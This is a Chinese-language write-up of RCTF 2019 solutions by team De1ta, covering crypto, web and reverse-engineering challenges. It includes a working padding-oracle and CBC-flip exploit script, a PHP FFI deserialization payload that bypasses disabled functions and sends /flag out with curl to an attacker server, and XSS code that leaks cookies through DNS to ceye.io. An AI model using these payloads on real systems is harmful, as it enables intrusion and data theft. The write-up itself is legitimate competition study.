RCTF 2019 Writeup

De1ta-Team

Team:De1ta

Crypto

baby_crypto

前一半是padding-Oracle + CBC翻转

后面要绕过sha1的校验,哈希长度扩增好像行不通

前一半大概是这样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *

#context.log_level = "debug"

target = remote("45.76.208.70", 20000)

target.sendlineafter("Input username:\n", "twings")
target.sendlineafter("Input password:\n", "twings")
target.recvuntil("Your cookie:\n")
data = target.recvuntil("\n", drop=True)
success("Cipher: %s" % data)

iv = data[:32].decode("hex")
cipher = data[32:-40].decode("hex")
hv_hex = data[-40:].decode("hex")
success("iv: %s" % iv.encode("hex"))
success("cipher: %s" % cipher.encode("hex"))
success("hv_hex: %s" % hv_hex.encode("hex"))

middle = ""

# padding Oracle
for x in xrange(1, 17):
for y in xrange(0, 256):
IV = "\x00" * (16 - x) + chr(y) + "".join(chr(ord(i) ^ x) for i in middle)
payload = IV.encode("hex") + cipher[:16].encode("hex") + hv_hex.encode("hex")
target.recvuntil("Input your cookie:\n")
target.sendline(payload)
result = target.recvuntil("\n", drop=True)
if "Invalid hash" in result:
middle = chr(y ^ x) + middle
print "[!]Get: " + middle.encode("hex")
break
if y == 255:
print "[!]Error"
exit(1)

# CBC
fake_iv = ""
i_need = "admin:1;username"
for x in range(16):
fake_iv += chr(ord(i_need[x]) ^ ord(middle[x]))
payload = fake_iv.encode("hex") + cipher.encode("hex") + hv_hex.encode("hex")
target.recvuntil("Input your cookie:\n")
target.sendline(payload)

target.interactive()
target.close()

但是翻转前面的0为1,sha1的校验不知道怎么过了

或许要换个思路?

好像不需要paddingOracle…要翻转直接翻转就可以了

**https://www.freebuf.com/articles/web/84498.html**

0x04部分👆 沙雕例子。。。。。iv=key
Twings师傅提供一个思路,看起来更可行:

我们需要伪造的最后一块明文是 ;admin:1 所以我们可以选取其中一块密文,用它的解密中间值跟这个我们需要的明文异或 ,得到上一块的密文;然后通过paddingOracle得到上一块密文的解密中间值,跟我们需要的明文的48-64位异或,得到上上块的密文;以此类推,最后伪装iv,我们就可以伪造全套可以进行哈希长度扩展攻击的明文了
img
灵魂画手
img
最后的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
from pwn import *

#context.log_level = "debug"

target = remote("111.231.100.117", 20000)

target.sendlineafter("Input username:\n", "twings")

target.sendlineafter("Input password:\n", "twings")

target.recvuntil("Your cookie:\n")

data = target.recvuntil("\n", drop=True)

success("Cipher: %s" % data)

iv = data[:32].decode("hex")

cipher = data[32:-40].decode("hex")

hv_hex = data[-40:].decode("hex")

success("iv: %s" % iv.encode("hex"))

success("cipher: %s" % cipher.encode("hex"))

success("hv_hex: %s" % hv_hex.encode("hex"))

fake_cipher = ""

i_need = "admin:0;username:twings;password:twings\x80\x00\x00\x00\x00\x00\x00\x01\xb8"

def xor(a, b):

assert len(a) == len(b)

​ result = ""

for x in range(len(a)):

​ result += chr(ord(a[x]) ^ ord(b[x]))

return result

# padding Oracle

def padding_oracle(c):

​ middle = ""

for x in xrange(1, 17):

for y in xrange(0, 256):

​ IV = "\x00" * (16 - x) + chr(y) + "".join(chr(ord(i) ^ x) for i in middle)

​ payload = IV.encode("hex") + c.encode("hex") + hv_hex.encode("hex")

​ target.recvuntil("Input your cookie:\n")

​ target.sendline(payload)

​ result = target.recvuntil("\n", drop=True)

if "Invalid hash" in result:

​ middle = chr(y ^ x) + middle

print "[!]Get: " + middle.encode("hex")

break

if y == 255:

print "[!]Error"

​ exit(1)

return middle

fake_cipher4 = cipher[:16]

success("fake_cipher4 ok")

middle4 = xor(iv, "admin:0;username")

fake_cipher3 = xor(middle4, ";admin:1" + "\x08" * 8)

success("fake_cipher3 ok")

middle3 = padding_oracle(fake_cipher3)

fake_cipher2 = xor(middle3, i_need[32:])

success("fake_cipher2 ok")

middle2 = padding_oracle(fake_cipher2)

fake_cipher1 = xor(middle2, i_need[16:32])

success("fake_cipher1 ok")

middle1 = padding_oracle(fake_cipher1)

fake_iv = xor(middle1, i_need[:16])

print fake_iv.encode("hex") + (fake_cipher1 + fake_cipher2 + fake_cipher3 + fake_cipher4).encode("hex")

print hv_hex.encode("hex")

target.interactive()

target.close()

然后再用hashpump就行

WEB

nextphp

http://nextphp.2019.rctf.rois.io

直接给了可以源码,可以执行代码,拥有webshell

1
2
3
4
5
6
<?php
if (isset($_GET['a'])) {
eval($_GET['a']);
} else {
show_source(__FILE__);
}

整个web目录没有文件写入权限,查看phpinfo发现禁用了很多函数(putenv,error_log,dl等常见关键函数也被禁用)

1
set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,dl

环境是php7.4,并且开启了opcache.preload选项:

1
opcache.preload	       /var/www/html/preload.php

与这个先关的还有个FFI拓展,Configure Command已经安装并且激活

1
'./configure' '--build=x86_64-linux-gnu' '--with-config-file-path=/usr/local/etc/php' '--with-config-file-scan-dir=/usr/local/etc/php/conf.d' '--with-ffi' '--enable-option-checking=fatal' '--with-mhash' '--enable-ftp' '--enable-mbstring' '--enable-mysqlnd' '--with-password-argon2' '--with-sodium' '--with-curl' '--with-libedit' '--with-openssl' '--with-zlib' '--with-pear' '--with-libdir=lib/x86_64-linux-gnu' '--with-apxs2' '--disable-cgi' 'build_alias=x86_64-linux-gnu'
1
FFI support	enabled

什么是FFI?

FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP的FFI扩展就是一个让你在PHP里调用C代码的技术。

FFI的使用非常简单,只用声明和调用两步就可以,对于有C语言经验,但是不了解Zend引擎的程序员来说,这简直是打开了新世界的大门,可以快速地使用C类库进行原型试验。

阅读RFC(https://wiki.php.net/rfc/FFI),可以配合opcache.preload调用c库完成代码执行

  • ffi.enable=false completely disables PHP FFI API
  • ffi.enable=true enables PHP FFI API without any restrictions
  • ffi.enable=preload (the default value) enables FFI but restrict its usage to CLI and preloaded scripts

利用cdef的反序列脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'FFI::cdef',
'arg' => 'int system(char *command);'
];

private function run () {
$this->data['ret'] = $this->data['func']($this->data['arg']);
}

public function __serialize(): array {
return $this->data;
}

public function __unserialize(array $data) {
array_merge($this->data, $data);
$this->run();
}

public function serialize (): string {
return serialize($this->data);
}

public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
}

public function __get ($key) {
return $this->data[$key];
}

}
$a = new A;
echo (serialize($a));

获取flag请求,system没有回显,需要外带数据

1
http://nextphp.2019.rctf.rois.io/?a=$c=unserialize(base64_decode('QzoxOiJBIjo4OTp7YTozOntzOjM6InJldCI7TjtzOjQ6ImZ1bmMiO3M6OToiRkZJOjpjZGVmIjtzOjM6ImFyZyI7czoyNjoiaW50IHN5c3RlbShjaGFyICpjb21tYW5kKTsiO319'));$c->ret->system("curl -d @/flag vps");

jail

HINIT,meta标签无法使用

1
2
Set-Cookie: hint1=flag1_is_in_cookie
Set-Cookie: hint2=meta_refresh_is_banned_in_server

CSP

1
Content-Security-Policy: sandbox allow-scripts allow-same-origin; base-uri 'none';default-src 'self';script-src 'unsafe-inline' 'self';connect-src 'none';object-src 'none';frame-src 'none';font-src data: 'self';style-src 'unsafe-inline' 'self';

location.href对象无法使用,但是我们可以使用location.host

1
2
3
4
5
6
7
8
9
10
11
12
<script> function strToHexCharCode(str) {
if (str === "") return "";
var hexCharCode = [];
hexCharCode.push("0x");
for (var i = 0; i < str.length; i++) {
hexCharCode.push((str.charCodeAt(i)).toString(16));
}
return hexCharCode.join("");
}

location.host = strToHexCharCode(document.cookie).substring(60, 90) + `.hdftk4.ceye.io`;
</script>

本来是是用base64的,后来发现会有大小写和+/之类的问题,所以最后使用的十六进制。

然后用ceye去接收就好了~

RE

babyre

输入长度16,0-9a-z,然后转hex转字节

之后用xxtea解密。根据提示,解密后要为Bingo!。xxtea最后一段逻辑,根据解密的最后一个字节的大小x,把明文倒数第x位用\0截断。

得到的明文先CRC16/CCITT,结果要为0x69E2。

明文每一位再异或0x17,然后输出。

即解密完应该是Bingo!异或0x17。

由于输出Bingo!,所以最后一位应该是\x02,这样截断完再异或0x17就是Bingo!了。

这样我们得到了明文的前六位和最后一位,还差1位,这时可以用题目给出的hint爆出来。

也可以不爆破。因为根据用最后一位截断,可以推断出加密时的padding是用剩余字节数padding。即明文最后两位都是\x02。

网上抄的xxtea代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#include<pch.h>
#include<iostream>

using namespace std;
#define MX ((z>>5^y<<2) + (y>>3^z<<4) ^ (sum^y) + (k[p&3^e]^z))

long btea(long* v, long n, long* k) {
unsigned long z = v[n - 1], y = v[0], sum = 0, e, DELTA = 0x9e3779b9;
long p, q;
if (n > 1) { /* Coding Part */
q = 6 + 52 / n;
while (q-- > 0) {
sum += DELTA;
e = (sum >> 2) & 3;
for (p = 0; p < n - 1; p++) y = v[p + 1], z = v[p] += MX;
y = v[0];
z = v[n - 1] += MX;
}
return 0;
}
else if (n < -1) { /* Decoding Part */
n = -n;
q = 6 + 52 / n;
sum = q * DELTA;
while (sum != 0) {
e = (sum >> 2) & 3;
for (p = n - 1; p > 0; p--) z = v[p - 1], y = v[p] -= MX;
z = v[n - 1];
y = v[0] -= MX;
sum -= DELTA;
}
return 0;
}
return 1;
}

int main()
{
long cipher[] = { 0,0 };
char cipher1[] = "Bingo!\x02\x02";
long key[] = { 0xE0C7E0C7, 0xC6F1D3D7, 0xC6D3C6D3, 0xC4D0D2CE };
int i = 0;
for (i = 0; i < 6; i++)
cipher1[i] ^= 0x17;
memcpy(cipher, cipher1, 8);
btea(cipher, 2, key);
char *b = (char *)cipher;
cout << "rctf{";
for (i = 0; i < 8; i++)
{
char c1 = *(b + i) >> 4 & 0xF;
char c2 = *(b + i) & 0xF;
if (c1 < 10)
cout << char(c1 + 0x30);
else
cout << char(c1 + 0x61 - 10);
if (c2 < 10)
cout << char(c2 + 0x30);
else
cout << char(c2 + 0x61 - 10);
}
cout << "}";
}

rctf{05e8a376e4e0446e}

babyre2

输入account,password,data。

还是xxtea,先用account作为key,加密一组常量。

password的每一位减去十位和个位,减去的结果作为下标从data取数据,得到data2.

用data2异或0xCC作为key密之前的密文。

于是直接构造account:’A’*16,data’8D’*256,password随便16位。

1
2
3
4
5
6
7
8
9
10
from pwn import *
p = process('./babyre2')
#p = remote('139.180.215.222','20000')
p.recvuntil('Please input the account:')
p.send('A'*16)
p.recvuntil('Please input the password:')
p.send('a'*16)
p.recvuntil('Please input the data:')
p.send('8D'*256)
p.interactive()

DontEatMe

开始有个反调试,直接跳过。

做的时候不清楚是啥加密,搜了一些常量也搜不到,于是自己逆。由于是Feistel密码结构,所以直接反向就可以了。

得到密文后,根据常量生成了一个迷宫,密文应是wasd来控制方向:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
1111111111111111
1000000000111111
1011111110111111
1011111110111111
101111000!000111
1011110111110111
1011110111110111
1011110000110111
1011111110110111
1011111110110111
10000>0000110111
1111101111110111
1111100000000111
1111111111111111
1111111111111111
1111111111111111

密文:

ddddwwwaaawwwddd

解密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#include<pch.h>
#include<iostream>
using namespace std;
/*
unsigned int const0[] = { 0x459FC5A5, ... };
unsigned int const1[] = { 0x3B928883, ...};
unsigned int const2[] = { 0x5E476C95, ... };
unsigned int const3[] = { 0x0DA579091, ... };
unsigned int delta[] = { 0x0CDC56A63, ... };
*/

int main()
{
int i, j;
int a, b;
int tmp;
/*
//encrypt
int plain[] = { 0x11223344,0x55667788 };
a = plain[0];
b = plain[1];
for (i = 0; i < 16; i++)
{
unsigned int i0, i1, i2, i3;
tmp = delta[15-i] ^ a;
i0 = (tmp >> 24)&0xff;
i1 = (tmp >> 16) & 0xff;
i2 = (tmp >> 8) & 0xff;
i3 = tmp & 0xff;
a = b ^ (const3[i3] + (const2[i2] ^ (const1[i1] + const0[i0])));
b = tmp;
// cout<<hex << a <<' '<< b << endl;
}
b ^= 0xC12083C0;
a ^= 0x6809DCE2;
cout << hex << a << ' ' << b<<endl;
*/
//decrypt
int cipher[] = { 0x77646464, 0x61617777 ,0x77777761, 0x64646464 };
for (j = 1; j >= 0; j--)
{
a = cipher[j * 2];
b = cipher[j * 2 + 1];
a ^= 0x6809DCE2;
b ^= 0xC12083C0;
for (i = 0; i < 16; i++)
{
tmp = b;
unsigned int i0, i1, i2, i3;
i0 = (tmp >> 24) & 0xff;
i1 = (tmp >> 16) & 0xff;
i2 = (tmp >> 8) & 0xff;
i3 = tmp & 0xff;
b = a ^ (const3[i3] + (const2[i2] ^ (const1[i1] + const0[i0])));
a = tmp ^ delta[i];
}
cout << hex << a << b;
}
return 0;
}

RCTF{db824ef8605c5235b4bbacfa2ff8e087}

const和delta常量应该是开头某个的函数生成的,直接在调试过程中dump下来。

后面学习了一下密码算法,这是标准的blowfish算法,似乎当年是aes的备选算法之一。

asm

RISC-V架构。工具下载:**https://github.com/riscv/riscv-gnu-toolchain**

很大,慢慢下载。编译完总共3.6g…

指令手册没找到特别齐全的,官方的:http://crva.io/documents/RISC-V-Reader-Chinese-v2p1.pdf

讲的也不是特别细,没intel白皮书讲的那么详细,总之一条一条指令搜+连蒙带猜

用工具的objdump搞出汇编。一开始看到1w多行有点吓人,不过应该是静态编译的,所以很多都不用看。

先找主逻辑。strings一下发现有东西,能看到 flag plz 和%80s字符串。在010 editor中定位到字符串的位置在二进制文件的CF00处。结合反汇编的地址猜测偏移是0x10000,因此在寻找0x1cf00。刚好在0x101b6附近找到了0x1cf00的引用,以及0x1cf10的引用也找到了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
1017c:    000007b7            lui     a5,0x0
10180: 00078793 mv a5,a5
10184: cf99 beqz a5,0x101a2
10186: 0001f537 lui a0,0x1f
1018a: 1141 addi sp,sp,-16
1018c: 8c018593 addi a1,gp,-1856
10190: b8850513 addi a0,a0,-1144 # 0x1eb88
10194: e406 sd ra,8(sp)
10196: 00000097 auipc ra,0x0
1019a: 000000e7 jalr zero # 0x0
1019e: 60a2 ld ra,8(sp)
101a0: 0141 addi sp,sp,16
101a2: f6fff06f j 0x10110
101a6: df010113 addi sp,sp,-528
101aa: 20113423 sd ra,520(sp)
101ae: 20813023 sd s0,512(sp)
101b2: 0c00 addi s0,sp,528
101b4: 67f5 lui a5,0x1d
101b6: f0078513 addi a0,a5,-256 # 0x1cf00
101ba: 31c000ef jal ra,0x104d6 //printf?
101be: f8040793 addi a5,s0,-128
101c2: 85be mv a1,a5
101c4: 67f5 lui a5,0x1d
101c6: f1078513 addi a0,a5,-240 # 0x1cf10
101ca: 316000ef jal ra,0x104e0 //scanf
101ce: f8040793 addi a5,s0,-128
101d2: 853e mv a0,a5
101d4: 358000ef jal ra,0x1052c //? scanf?
101d8: 87aa mv a5,a0
101da: fef42423 sw a5,-24(s0) //len?
101de: fe042623 sw zero,-20(s0) // i
101e2: a041 j 0x10262

101e4: fec42783 lw a5,-20(s0)
101e8: ff040713 addi a4,s0,-16
101ec: 97ba add a5,a5,a4
101ee: f907c703 lbu a4,-112(a5)
101f2: fec42783 lw a5,-20(s0)
101f6: 2785 addiw a5,a5,1
101f8: 2781 sext.w a5,a5
101fa: 86be mv a3,a5
101fc: 47fd li a5,31
101fe: 02f6e7bb remw a5,a3,a5
10202: 2781 sext.w a5,a5
10204: ff040693 addi a3,s0,-16
10208: 97b6 add a5,a5,a3
1020a: f907c783 lbu a5,-112(a5)
1020e: 8fb9 xor a5,a5,a4
10210: 0ff7f793 andi a5,a5,255
10214: 0007869b sext.w a3,a5
10218: fec42703 lw a4,-20(s0)
1021c: 87ba mv a5,a4 //a4 = i
1021e: 0017979b slliw a5,a5,0x1 //
10222: 9fb9 addw a5,a5,a4 //
10224: 0057979b slliw a5,a5,0x5
10228: 9fb9 addw a5,a5,a4 //((((i<<1)+i)<<5)+i)
1022a: 2781 sext.w a5,a5
1022c: 873e mv a4,a5 // a4 = ((((i<<1)+i)<<5)+i)
1022e: 41f7579b sraiw a5,a4,0x1f //((((i<<1)+i)<<5)+i)>>0x1f
10232: 0187d79b srliw a5,a5,0x18 //((((((i<<1)+i)<<5)+i)>>0x1f)<<0x18)
10236: 9f3d addw a4,a4,a5 //((((((((i<<1)+i)<<5)+i)>>0x1f)<<0x18)+((((i<<1)+i)<<5)+i))&0xff)
10238: 0ff77713 andi a4,a4,255
1023c: 40f707bb subw a5,a4,a5
10240: 2781 sext.w a5,a5
10242: 8fb5 xor a5,a5,a3
10244: 0007871b sext.w a4,a5
10248: fec42783 lw a5,-20(s0)
1024c: 078a slli a5,a5,0x2 //i<<2
1024e: ff040693 addi a3,s0,-16
10252: 97b6 add a5,a5,a3 b[i<<2] =
10254: e0e7a023 sw a4,-512(a5)
10258: fec42783 lw a5,-20(s0)
1025c: 2785 addiw a5,a5,1
1025e: fef42623 sw a5,-20(s0)
10262: fec42703 lw a4,-20(s0)
10266: fe842783 lw a5,-24(s0)
1026a: 2701 sext.w a4,a4
1026c: 2781 sext.w a5,a5
1026e: f6f74be3 blt a4,a5,0x101e4

10272: fe042623 sw zero,-20(s0) //i = 0
10276: a825 j 0x102ae //
10278: fec42783 lw a5,-20(s0)
1027c: 078a slli a5,a5,0x2 //
1027e: ff040713 addi a4,s0,-16
10282: 97ba add a5,a5,a4
10284: e007a683 lw a3,-512(a5) //b[i]
10288: 0001f7b7 lui a5,0x1f
1028c: fec42703 lw a4,-20(s0)
10290: 070a slli a4,a4,0x2
10292: ba078793 addi a5,a5,-1120 # 0x1eba0
10296: 97ba add a5,a5,a4 //const[i]
10298: 439c lw a5,0(a5)
1029a: 8736 mv a4,a3
1029c: 00f70463 beq a4,a5,0x102a4
102a0: 4781 li a5,0
102a2: a025 j 0x102ca
102a4: fec42783 lw a5,-20(s0)
102a8: 2785 addiw a5,a5,1
102aa: fef42623 sw a5,-20(s0)
102ae: fec42703 lw a4,-20(s0)
102b2: fe842783 lw a5,-24(s0)
102b6: 2701 sext.w a4,a4
102b8: 2781 sext.w a5,a5
102ba: faf74fe3 blt a4,a5,0x10278

102be: 67f5 lui a5,0x1d
102c0: f1878513 addi a0,a5,-232 # 0x1cf18
102c4: 212000ef jal ra,0x104d6
102c8: 4781 li a5,0
102ca: 853e mv a0,a5
102cc: 20813083 ld ra,520(sp)
102d0: 20013403 ld s0,512(sp)
102d4: 21010113 addi sp,sp,528
102d8: 8082 ret

主逻辑并不长,慢慢看不难发现是两个循环,第一个加密,第二个对比。

另外提一句,最终对比常量的地址0x1eba0(objdump生成的)有问题,附近找一下应该是0x1dba0,即二进制文件中0xdba0的地方。

脚本:

1
2
3
4
5
6
7
cipher = [0x11, 0x76, 0xD0, 0x1E, 0x99, 0xB6, 0x2C, 0x91, 0x12, 0x45, 0xFB, 0x2A, 0x97, 0xC6, 0x63, 0xB8, 0x14, 0x7C, 0xE1, 0x1E, 0x83, 0xE6, 0x45, 0xA0, 0x19, 0x63, 0xDD, 0x32, 0xA4, 0xDF, 0x71]
plain = [ord('R')]
for i in range(30):
plain.append(0)
for i in range(30):
plain[i+1] = cipher[i]^plain[i]^(((((((((i<<1)+i)<<5)+i)>>0x1f)<<0x18)+((((i<<1)+i)<<5)+i))&0xff)-((((((i<<1)+i)<<5)+i)>>0x1f)<<0x18))
print(''.join(map(chr,plain)))

flag很秀:

RCTF{f5_is_not_real_reversing_}

所以真正的逆向应该是对着机器码逆向。

crack

通过字符串查找引用很容易找到主逻辑在sub_4025E0。

算法本质是这个问题:

https://projecteuler.net/problem=18

https://projecteuler.net/problem=67

总共有0x200*0x200行数据,每行的前n个元素是金字塔中对应元素,其余的元素根据输入的过程拼接起来变成一个函数,在00402762会被调用。

相加总和要为0x100758E540F。其实如果他没说这时最大值还真不好算。知道是要算最大值就好办了,可以用简单的动态规划来求出结果与过程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from copy import deepcopy
f = open('data.mem','rb')
data = []
for i in range(0x200):
tmp = []
for j in range(0x200):
i1 = ord(f.read(1))
i2 = ord(f.read(1))
i3 = ord(f.read(1))
i4 = ord(f.read(1))
tmp.append((i4<<24)+(i3<<16)+(i2<<8)+i1)
data.append(tmp)
A = deepcopy(data)
B = ['' for i in range(len(A))]

for i in range(0,len(A)-1)[::-1]:
for j in range(i+1):
if A[i+1][j]>A[i+1][j+1]:
A[i][j]+=A[i+1][j]
B[i] += '0'
else:
A[i][j]+=A[i+1][j+1]
B[i] += '1'

print(hex(A[0][0]))
x = 0
y = 0
res = '0'
for x in range(0,0x1FF):
res+=B[x][y]
if B[x][y]=='1':
y+=1
print(res)
print(len(res))

得到512位的结果:

00000000010101000000000111100111111110100111100101001000101010010011101100111101011111111111111111001110111011011000000101110111001111100100011000000000000110001111110100000000001101110111010101011111000101110000011000111001110000000000000000000000011001000010000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000011100011111110000100111000000000000000000000000000000010000000000000001000001100000000000000101000000000100000010000000000000000010000000000000000000000

到这里还没完,进入第二部分。把之前生成的函数dump下来,分析一遍发现是个vm。bytecode就是搜字符串时的一大堆的一大堆01。实际上他把bytecode转成了六位二进制数。

写了个脚本解析了opcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
code = '000000010101100100000000000000110000010000010110100000000011000000000000000000001100110000000000110000000000000000000000101000000000000000000000000000000000110000000000010000000000000000000000101000000000111000000000000000000000110000011000110000111000010010110000000000110000000000000000000000101000000000100000000000000000000000110000000000010000000000000000000000101000000000011000000000000000000000110000011000111000110100110000000000011000000000000000000000101000100000111000000000000000000000011000100000100000000000000000000000110100110000000000111000000000000000000000101000000000000000000000000000000000100110100000011000000000000000000000011000100000111000000000000000000000101100100000111111000100001011110000011010100000011011000011000000000000010110100000011000000000000000000000011000110000000000110000000000000000000000101000000000100000000000000000000000110000000000010000000000000000000000101000100000110100000000000000000000011000111000100010110000000000110100000000000000000000101000100000001100000000000000000000011000111000100010110000000000001100000000000000000000101000100000101100000000000000000000011000111000100010110000000000101100000000000000000000101000000000111000000000000000000000100000000000000000000000000000101000100000101100000000000000000000011000110000000000110000000000000000000000101000000000100000000000000000000000110000000000010000000000000000000000101000100000111000000000000000000000011000111000101010100000011011111001000000000000010110100000011000000000000000000000011000110000000000110000000000000000000000101000000000100000000000000000000000110000000000010000000000000000000000101000100000111000000000000000000000011000111000110100110000000000000010000000000000000000101000100000111000000000000000000000011000110000000000110000000000000000000000101000000000100000000000000000000000110000000000010000000000000000000000101000100000011100000000000000000000011000111000100100110000000000100010000000000000000000101000100000000010000000000000000000011000110000000000110000000000000000000000101000000000100000000000000000000000110000000000010000000000000000000000101000100000100010000000000000000000011000111000100010110000000000001000000000000000000000101000100000111000000000000000000000011000110000000000110000000000000000000000101000000000100000000000000000000000110000000000010000000000000000000000101000100000011100000000000000000000011000111000010100100000111000000000000000000000011000100000100000000000000000000000110100110000000000111000000000000000000000101000000000000001110010000000000000100110100000110100000000000000000000011000110000000000001000000000000000000000101000100000111100000000000000000000011000100000000000000000000000000000010100100000001100000000000000000000011000110000000000001000000000000000000000101000100000111100000000000000000000011000100000100000000000000000000000010100100000101100000000000000000000011000110000000000001000000000000000000000101000100000111100000000000000000000011000100000010000000000000000000000010100100000011100000000000000000000011000110000000000001000000000000000000000101000100000111100000000000000000000011000100000110000000000000000000000010100'
codes = []
i = 0
j = 0
while(i<len(code)):
op = eval('0b'+code[i:i+6][::-1])
i+=6
if op == 0:
num = eval('0b'+code[i:i+24][::-1])
print('mov r0, 0x%x'%num)
i+=24
elif op == 1:
num = eval('0b'+code[i:i+24][::-1])
print('mov r1, 0x%x'%num)
i+=24
elif op == 2:
print('mov r0, input[%d]'%j)
j+=1
elif op == 3:
print('mov r1, r0')
elif op == 4:
print('mov r3, r2')
elif op == 5:
print('if r0<128:')
print(' r[r0] = r1')
elif op == 6:
print('if r1<128:')
print(' r0 = r[r1]')
elif op == 7:
print('if r2<128:')
print(' r[r2] = r3')
elif op == 8:
print('if r3<128:')
print(' r2 = r[r3]')
elif op == 0xB:
print('add r0, r1')
elif op == 0xC:
print('sub r0, r1')
elif op == 0xD:
print('mul r0, r1')
elif op == 0xE:
print('div r0, r1')
elif op == 0xF:
print('and r0, r1')
elif op == 0x10:
print('or r0, r1')
elif op == 0x11:
print('xor r0, r1')
elif op == 0x12:
print('shl r0, r1')
elif op == 0x13:
print('shr r0, r1')
elif op == 0x14:
print('grate r0, r1')
elif op == 0x15:
print('below r0, r1')
elif op == 0x16:
print('equl r0, r1')
elif op == 0x17:
print('nequl r0, r1')
elif op == 0x18:
print('mov r0, ip')
elif op == 0x19:
print('mov ip, r0')
elif op == 0x1A:
print('cmp r0, 0')
print('je r1')
else:
print('?')

没有按照汇编标准写,因为里面有些if不知道干嘛的,可能是混淆。个别opcode也没搞懂是做什么的。

伪代码(未完成):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
mov r0, 0x26a
mov r1, r0
mov r0, input[0]
cmp r0, 0
je r1
mov r1, 0x30
sub r0, r1
mov r1, r0
mov r0, 0x3
if r0<128:
r[r0] = r1
mov r0, 0x0
mov r1, r0
mov r0, 0x2
if r0<128:
r[r0] = r1
mov r0, 0x7
mov r1, r0
if r1<128:
r0 = r[r1]
mov r1, r0
if r2<128:
r[r2] = r3
shl r0, r1
mov r1, r0
mov r0, 0x3
if r0<128:
r[r0] = r1
mov r0, 0x1
mov r1, r0
mov r0, 0x2
if r0<128:
r[r0] = r1
mov r0, 0x6
mov r1, r0
if r1<128:
r0 = r[r1]
if r2<128:
r[r2] = r3
add r0, r1
mov r1, r0
mov r0, 0x6
if r0<128:
r[r0] = r1
mov r1, 0x7
if r1<128:
r0 = r[r1]
mov r1, 0x1
add r0, r1
mov r1, r0
mov r0, 0x7
if r0<128:
r[r0] = r1
mov r0, 0x0
mov ip, r0
mov r1, 0x6
if r1<128:
r0 = r[r1]
mov r1, 0x7
mul r0, r1
mov r1, 0xf423f
equl r0, r1
mov r1, 0xc36
cmp r0, 0
je r1
mov r1, 0x6
if r1<128:
r0 = r[r1]
mov r1, r0
mov r0, 0x3
if r0<128:
r[r0] = r1
mov r0, 0x1
mov r1, r0
mov r0, 0x2
if r0<128:
r[r0] = r1
mov r1, 0xb
if r1<128:
r0 = r[r1]
if r2<128:
r[r2] = r3
xor r0, r1
mov r1, r0
mov r0, 0xb
if r0<128:
r[r0] = r1
mov r1, 0xc
if r1<128:
r0 = r[r1]
if r2<128:
r[r2] = r3
